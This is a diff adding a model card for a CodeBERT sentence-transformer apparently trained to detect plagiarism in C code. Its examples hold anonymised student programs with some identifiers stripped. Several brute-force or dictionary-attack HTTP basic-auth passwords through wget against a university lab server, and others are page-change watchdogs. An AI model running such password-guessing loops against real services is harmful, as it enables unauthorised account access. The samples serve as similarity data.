+    \t strcpy(,\"\"); \n         strcpy(passwd,\"\");\n       }\n    }\n}  \n\n\n\
+    int  (int argc, char *argv[])\n{\n   char *fname;\n   FILE *fp;\n   \n   int ,\
+    \ end;    \n   \n    = time();\n    \n   if (argc != 2)\n   {\n      fprintf(stdout,\"\
+    Usage : ./Dictionary <dictionary>\\n\");\n      return(EXIT_FAILURE);\n   }\n\
+    \   \n   fname = argv[1];\n   \n   if((fp = fopen(fname, \"r\")) == NULL)\n  \
+    \ {\n      fprintf(stderr,\"Error : Failed  open %s for . \\n\",fname);\n    \
+    \  return(EXIT_FAILURE);\n   }\n   \n   CrackPasswd(fp);\n  \n   end = time();\
+    \ \n   printf(\"Time Required = %lld msec\\n\",(end-)/());\n   return (EXIT_SUCCESS);\n\
+    \  \n}\n     \n\t   \n\t  \t\n"
+  - "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\
+    #include <sys/time.h>\n\nint ()\n{\n  FILE *fh,*fp,*fp1,*d;\n  char\n  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n\
+    \  sleep(60*60*24);\n  system(\"wget http://www.cs.rmit.edu./students\");\n  if(system==0)\n\
+    \  {\n   printf(\"File stored\");\n  }\n  strcpy(filename,\"index.html\"); \n\
+    \  if((fh=fopen(filename,\"r\"))==NULL)\n  {\n   printf(\"cannot open file\\n\"\
+    );\n   exit(1);\n  }\n  fp=fopen(\"index.txt\",\"r\");\n  fp1=fopen(\"index1.txt\"\
+    ,\"r\");\n \n  while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n  {\n\
+    \    fread(p,sizeof(PassString),sizeof(PassString),fh);\n    printf(\" contents\
+    \ %s\\n\",p);\n    while((f1!=EOF) || (f2!=EOF))\n    {\n     f1=getc(fp);\n \
+    \    f2=getc(fp1);\n     if(f1<f2)\n     {\n     strcpy(,p);\n     fp=fopen(\"\
+    index.txt\",\"r+b\");\n     fputs(,fp);\n     fflush(fp); \n     fclose(fp); \n\
+    \    }\n    else\n    {\n      strcpy(temp1,p);\n      fp1=fopen(\"index1.txt\"\
+    ,\"r+b\");\n      fputs(temp1,fp1);\n      fflush(fp1);\n      fclose(fp1);\n\
+    \    }\n    }\n    if(system(\"diff -b -w index.txt index1.txt > Diff.txt\")==0)\n\
+    \    {\n      d=fopen(\"Diff.txt\",\"r\");\n      if((fgets(,sizeof(),d))!=NULL)\n\
+    \      {\n        printf(\"The difference between  exist\");\n\tsystem(\"Mail\
+    \ \\r\\n Difference\");\n      }\n      \n    }\n  }\n return 0;\n  }\n"
+- source_sentence: "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
+    \n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n   int i, cnt, flag;\n\
+    \   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \
+    \  char fin;\n   \n   strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\
+    );\n   strcpy(string2,\" --http-user= --http-passwd='\");\n   strcpy(,\"\");\n\
+    \n   while ((fin = fgetc(fp)) != EOF)\n   {\n      cnt = 0;\n      \n      for\
+    \ (i=0;i<MAX_SIZE;i++)\n      {   \n         passwd[i] = '\\0';\n         [i]\
+    \ = '\\0';\n      }\n\t \n      while(fin != '\\n')\n      {\n\t passwd[cnt] =\
+    \ fin;\n\t cnt++;\n\t fin = fgetc(fp);\n      } \n         \n      if(strlen(passwd)\
+    \ <= 3)\n      {\n         strcat(, string1);\n         strcat(, string2);\n\t\
+    \ strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\\
+    n\",);\n\t flag = system();\n\t  \n         if (flag == 0)\n\t {\n           \
+    \ printf(\"\\nPassword is %s\\n\",passwd);\n\t    return 1;\n\t }\n         \n\
+    \t strcpy(,\"\"); \n         strcpy(passwd,\"\");\n       }\n    }\n}  \n\n\n\
+    int  (int argc, char *argv[])\n{\n   char *fname;\n   FILE *fp;\n   \n   int ,\
+    \ end;    \n   \n    = time();\n    \n   if (argc != 2)\n   {\n      fprintf(stdout,\"\
+    Usage : ./Dictionary <dictionary>\\n\");\n      return(EXIT_FAILURE);\n   }\n\
+    \   \n   fname = argv[1];\n   \n   if((fp = fopen(fname, \"r\")) == NULL)\n  \
+    \ {\n      fprintf(stderr,\"Error : Failed  open %s for . \\n\",fname);\n    \
+    \  return(EXIT_FAILURE);\n   }\n   \n   CrackPasswd(fp);\n  \n   end = time();\
+    \ \n   printf(\"Time Required = %lld msec\\n\",(end-)/());\n   return (EXIT_SUCCESS);\n\
+    \  \n}\n     \n\t   \n\t  \t\n"
+  sentences:
+  - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n\
+    #include <ctype.h>\n\nint ()\n{\n  FILE *fp; \n  char *chk,[4];\n  int i=1;\n\
+    \  while (i == 1) \n  {\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
+    );\n\n  system(\"mkdir first\"); \n  system(\"mkdir second\"); \n\n  \n  system(\"\
+    mv www.cs.rmit.edu./images/*.*  first/\");\n  system(\"mv www.cs.rmit.edu./students/*.*\
+    \ first/\");\n\n  sleep(86400); \n\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
+    );\n\n  \n  system(\"mv www.cs.rmit.edu./images/*.* second/\");\n  system(\"mv\
+    \ www.cs.rmit.edu./students/*.* second/\");\n\n  \n  \n  system(\"diff first second\
+    \ > imagesdifference.txt\");\n\n  \n  fp = fopen(\"imagesdifference.txt\",\"r\"\
+    );\n  \n  chk = fgets(, 4, fp);\n  \n  if (strlen() != 0)\n     system(\"mailx\
+    \ -s  \\\"Difference from WatchDog\\\"  < imagesdifference.txt\");\n  }\n  return\
+    \ 0;\n}\n"
+  - "\n\n\n \n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include\
+    \ <unistd.h>\n#include <sys/wait.h>\n#include <signal.h>\n#include <sys/signal.h>\t\
+    \t\t  \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\
+    \n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\
+    #define MAX_CHAR_SET 52\n#define NUM_OF_PROCESSES 4\n\n#define TRUE 1\n#define\
+    \ FALSE 0\n\n\n\n\n\n\n\n\n\n\ntypedef int (*CrackFuncPtr)(const char*, const\
+    \ char*, int);\n\n\nint pwdFound;\nint cDie;\n\n\nint runBruteForce(const char\
+    \ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\
+    \ eCh, int id);\nchar* initPasswdStr(int len, char ch, char headOfChSet);\nint\
+    \ getChPos(const char chSet[], int numOfCh, char ch);\nint pow(int x, int y);\n\
+    int crackHTTPAuth(const char *username, const char *passwd, int id);\nint myFork(const\
+    \ char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t, int sCh, int\
+    \ eCh);\n\n\n\n\n\nvoid passwdFoundHandler(int signum)\n{\n\tpwdFound = TRUE;\n\
+    }\n\n\n\nvoid childFinishHandler(int signum)\n{\n\tcDie++;\t\n}\n\n\n\n\n\nint\
+    \ main()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\
+    \ 'J', 'K', \n                     'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',\
+    \ 'U', 'V', \n\t\t\t\t\t 'W', 'X', 'Y', 'Z',\t\n\t\t\t\t\t 'a', 'b', 'c', 'd',\
+    \ 'e', 'f', 'g', 'h', 'i', 'j', 'k',\t\n\t\t\t\t\t 'l', 'm', 'n', 'o', 'p', 'q',\
+    \ 'r', 's', 't', 'u', 'v', \n\t\t\t\t\t 'w', 'x', 'y', 'z'};\n\t\n\n\tint i;\t\
+    \n\tint pid[NUM_OF_PROCESSES];\n\n\tpwdFound = FALSE;\n\tcDie = 0;\n\t\n\tfor\
+    \ (i=0; i<NUM_OF_PROCESSES; i++)\n\t{\n\t\tpid[i] = myFork(charSet, MAX_CHAR_SET,\
+    \ MAX_PASSWD_LEN, crackHTTPAuth, \n\t\t\t\t\t\t(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1,\
+    \ \n\t\t\t\t\t\t(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);\n\t}\n\n\t\n\tfor (;;)\n\
+    \t{\n\t\tsignal(SIGUSR1, passwdFoundHandler);\n\t\tsignal(SIGUSR2, childFinishHandler);\n\
+    \n\t\t\n\t\tif (pwdFound)\n\t\t{\n\t\t\tfor (i=0; i<4; i++)\n\t\t\t{\n\t\t\t\t\
+    kill((int)pid[i], SIGKILL);\n\t\t\t}\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\n\t\t\
+    \n\t\tif (cDie >= NUM_OF_PROCESSES)\n\t\t{\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\
+    \n\t}\n\treturn EXIT_SUCCESS;\n}\n\n\n\nint myFork(const char chSet[], int numOfCh,\
+    \ int len, CrackFuncPtr func,\n\t\t\t\tint sCh, int eCh)\n{\n\tint i;\n\t\n\t\
+    int pid = fork();\n\n\tif (pid == 0)\n\t{\n\t\tfor (i=1; i<=len; i++)\n\t\t{\n\
+    \t\t\tif (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))\n\t\t\t\
+    {\t\n\t\t\t\t\n \t\t\t\tif (!kill(getppid(), SIGUSR1))\n\t\t\t\t{\n\t\t\t\t\t\
+    printf(\"Process %d found the password and notified the parent process already\"\
+    , \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t\t\t}\n\n\t\t\t\texit(EXIT_SUCCESS);\n\
+    \t\t\t}\n\t\t}\n\n\t\t\n\t\tif (!kill(getppid(), SIGUSR2))\n\t\t{\n\t\t\tprintf(\"\
+    Process %d could not found the password and notified the parent process already\"\
+    , \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t}\n\t\t\n\t\texit(EXIT_SUCCESS);\n\t\
+    }\n\telse if (pid > 0)\n\t{\n\t\treturn pid;\n\t}\n\telse\n\t{\n\t\tprintf(\"\
+    error\\n\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\n\n\nint runBruteForce(const char\
+    \ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\
+    \ eCh, int id)\n{\n\tint iter; \n\tint chIter; \n\tint curPos = 0; \n\t\n\tchar\
+    \ *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len, chSet[sCh],\
+    \ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\tfor\
+    \ (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)\n\
+    \t{\n\t\tfor (chIter=len-1; chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh,\
+    \ chIter) == 0) \n\t\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\
+    \t\t\t\tstr[chIter] = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh,\
+    \ (chIter+1)) == 0) \n\t\t\t{\n\t\t\t\tif (chIter == len-1)\n\t\t\t\t{\n\t\t\t\
+    \t\tstr[chIter] = chSet[sCh];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\
+    str[chIter] = chSet[0];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (func(USERNAME, str,\
+    \ id))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\\n\", str);\n\t\t\tpasswdFound\
+    \ = TRUE;\n\t\t}\t\t\t\n\t}\n\n\t(str);\n\tstr = NULL;\n\t\n\treturn passwdFound;\n\
+    }\n\n\n\nint getChPos(const char chSet[], int numOfCh, char ch)\n{\n\tint i;\n\
+    \t\n\tfor (i=0; i<numOfCh; i++)\n\t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn\
+    \ i;\n\t\t}\n\t}\n\n\treturn -1;\n\t\n}\n\n\n\nchar* initPasswdStr(int len, char\
+    \ ch, char headOfChSet)\n{\n\tint i;\n\n\tchar *str;\n\n\tstr = malloc(len);\n\
+    \n\tif (str)\n\t{\n\t\tfor (i=0; i<len-1; i++)\n\t\t{\n\t\t\tstr[i] = headOfChSet;\n\
+    \t\t}\n\t\tstr[len-1] = ch;\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr,\
+    \ \"\\nError: Unable  allocate %d bytes memory.\", len);\n\t\texit(EXIT_FAILURE);\n\
+    \t}\n\t\n\treturn str;\n}\n\n\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\
+    \t\n\tfor (i=0; i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\n\n\n\
+    int crackHTTPAuth(const char *username, const char *passwd, int id)\n{\n\tchar\
+    \ cmd[256];\n\tstruct stat fileInfo;\n\tchar fileToCheck[256];\n\t\n\tsprintf(cmd,\
+    \ \"wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\t\t\t\
+    \t\tid, username, passwd, URL);\n\n\tsystem(cmd);\t\n\n\tsprintf(fileToCheck,\
+    \ \"%d\", id);\n\n\t(void)stat(fileToCheck, &fileInfo); \n\treturn fileInfo.st_size;\n\
+    \t\n}\n\n\n"
+  - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n\
+    #include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\
+    \tint        , end;\n\tFILE           *fp;\n\tint             i, j;\n\tchar  \
+    \          input;\n\tchar            password[30];\n\tint             check;\n\
+    \n\tfloat           total_time;\n\tint             number;\n\t = time();\n\n\n\
+    \tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\
+    \ Failed  open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\
+    \ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\
+    \ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\
+    \tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\
+    \ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\
+    \ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\
+    \ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\
+    \ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\
+    n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var  %f / %d = %f\\n\", total_time,\
+    \ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\
+    return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar           \
+    \ url1[255], url2[255], [255];\n\tint             rettype;\n\trettype = 0;\n\t\
+    strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\
+    \ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\
+    strcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype\
+    \ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\
+    \t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
+- source_sentence: "\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n \
+    \ int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n\
+    \  int ;\n  char username[]=\"\";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i\
+    \ = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j\
+    \ <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k\
+    \ <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0]\
+    \ = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,\"%c%c%c\"\
+    ,word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf(\"%d )%s\\\
+    n\\n\", counter, paswd);\n\t\t\t sprintf(get,\"wget --http-user=%s --http-passwd=%s\
+    \ http://sec-crack.cs.rmit.edu./SEC/2/\",username,paswd);\n\t\t\t=system(get);\n\
+    \t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf(\"The Password has been cracked and\
+    \ it is : %s\" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t\
+    }\n  \n\t\n}\n\n"
+  sentences:
+  - "\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define\
+    \ OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char\
+    \ *b) {\n\n\n    char [100]={'\\0'};\n    strcpy(,b);\n    \n    strcat(,);\n\
+    \    printf (\"Sending command %s\\n\",);\n    if ( system()== 0) {\n       printf\
+    \ (\"\\n password is : %s\",);\n       return 1;\n    }\n    return 0;\n}\n \n\
+    \nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52\
+    \ ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return\
+    \ 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n         \
+    \     if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++)\
+    \ {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1)\
+    \ return 1;\n                }\n          comb[1] = '\\0';\n     }\n   }\n   return\
+    \ 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80]\
+    \ = {'\\0'};\n char *passwd;\n char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
+    \ char v[4]={'\\0'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,\"\
+    wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=\");\n\n\
+    \  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime =\
+    \ time();\n      final = stopTime-startTime;\n    }\n\n       printf (\"\\n The\
+    \ password is : %s\",v);\n       printf(\"%lld nanoseconds (%lf) seconds \\n\"\
+    , final,  (double)final/OneBillion );\n\n}\n"
+  - "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
+    #define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n\
+    \     \n   while(1)\n    {       \n      system(\"wget -p http://www.cs.rmit.edu./students\"\
+    );\n\n\n\n      system(\"mkdir data\"); \n      if((fp=fopen(\"./data/index.html\"\
+    ,\"r\"))==NULL)\n       { \n         system(\"cp www.cs.rmit.edu./students/index.html\
+    \ ./data\");\n\t \n       }\n      else\n       {  \n               \n\t \n\t\
+    \ system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail\
+    \ @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\"\
+    );\n       }     \n\n\n\n      system(\"mkdir images\"); \n      if((fp=fopen(\"\
+    ./images/file.txt\",\"r\"))==NULL)\n       { \n          system(\"md5sum www.cs.rmit.edu./images/*.*\
+    \ > ./images/file.txt\");\n\t\t \n       }\n      \n      else\n       {     \
+    \     \n          system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\"\
+    );\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt\
+    \ | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\"\
+    );\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n\
+    \     \n\t   \n\t  \t\n"
+  - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\
+    #include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\
+    \tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\");  \n\
+    \twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"\
+    rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\t\
+    system(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\
+    \t\t{\t\t\n\t\t\t printf(\"\\n\\n The  has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail\
+    \ @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\
+    \t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe  has not changed\
+    \ \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n"
+pipeline_tag: sentence-similarity
+library_name: sentence-transformers
+---
+
+# SentenceTransformer based on microsoft/codebert-base
+
+This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
+
+## Model Details
+
+### Model Description
+- **Model Type:** Sentence Transformer
+- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->
+- **Maximum Sequence Length:** 512 tokens
+- **Output Dimensionality:** 768 dimensions
+- **Similarity Function:** Cosine Similarity
+<!-- - **Training Dataset:** Unknown -->
+<!-- - **Language:** Unknown -->
+<!-- - **License:** Unknown -->
+
+### Model Sources
+
+- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
+- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
+- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
+
+### Full Model Architecture
+
+```
+SentenceTransformer(
+  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
+  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
+)
+```
+
+## Usage
+
+### Direct Usage (Sentence Transformers)
+
+First install the Sentence Transformers library:
+
+```bash
+pip install -U sentence-transformers
+```
+
+Then you can load this model and run inference.
+```python
+from sentence_transformers import SentenceTransformer
+
+# Download from the 🤗 Hub
+model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
+# Run inference
+sentences = [
+    '\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n  int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n  int ;\n  char username[]="";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t}\n  \n\t\n}\n\n',
+    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n      system("mkdir data"); \n      if((fp=fopen("./data/index.html","r"))==NULL)\n       { \n         system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n       }     \n\n\n\n      system("mkdir images"); \n      if((fp=fopen("./images/file.txt","r"))==NULL)\n       { \n          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n       }\n      \n      else\n       {          \n          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
+    '\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n    char [100]={\'\\0\'};\n    strcpy(,b);\n    \n    strcat(,);\n    printf ("Sending command %s\\n",);\n    if ( system()== 0) {\n       printf ("\\n password is : %s",);\n       return 1;\n    }\n    return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52 ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n              if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++) {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1) return 1;\n                }\n          comb[1] = \'\\0\';\n     }\n   }\n   return 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime = time();\n      final = stopTime-startTime;\n    }\n\n       printf ("\\n The password is : %s",v);\n       printf("%lld nanoseconds (%lf) seconds \\n", final,  (double)final/OneBillion );\n\n}\n',
+]
+embeddings = model.encode(sentences)
+print(embeddings.shape)
+# [3, 768]
+
+# Get the similarity scores for the embeddings
+similarities = model.similarity(embeddings, embeddings)
+print(similarities)
+# tensor([[1.0000, 0.9892, 0.9953],
+#         [0.9892, 1.0000, 0.9908],
+#         [0.9953, 0.9908, 1.0000]])
+```
+
+<!--
+### Direct Usage (Transformers)
+
+<details><summary>Click to see the direct usage in Transformers</summary>
+
+</details>
+-->
+
+<!--
+### Downstream Usage (Sentence Transformers)
+
+You can finetune this model on your own dataset.
+
+<details><summary>Click to expand</summary>
+
+</details>
+-->
+
+<!--
+### Out-of-Scope Use
+
+*List how the model may foreseeably be misused and address what users ought not to do with the model.*
+-->
+
+<!--
+## Bias, Risks and Limitations
+
+*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
+-->
+
+<!--
+### Recommendations
+
+*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
+-->
+
+## Training Details
+
+### Training Dataset
+
+#### Unnamed Dataset
+
+* Size: 3,081 training samples
+* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
+* Approximate statistics based on the first 1000 samples:
+  |         | sentence_0                                                                            | sentence_1                                                                            | label                                          |
+  |:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------|
+  | type    | string                                                                                | string                                                                                | int                                            |
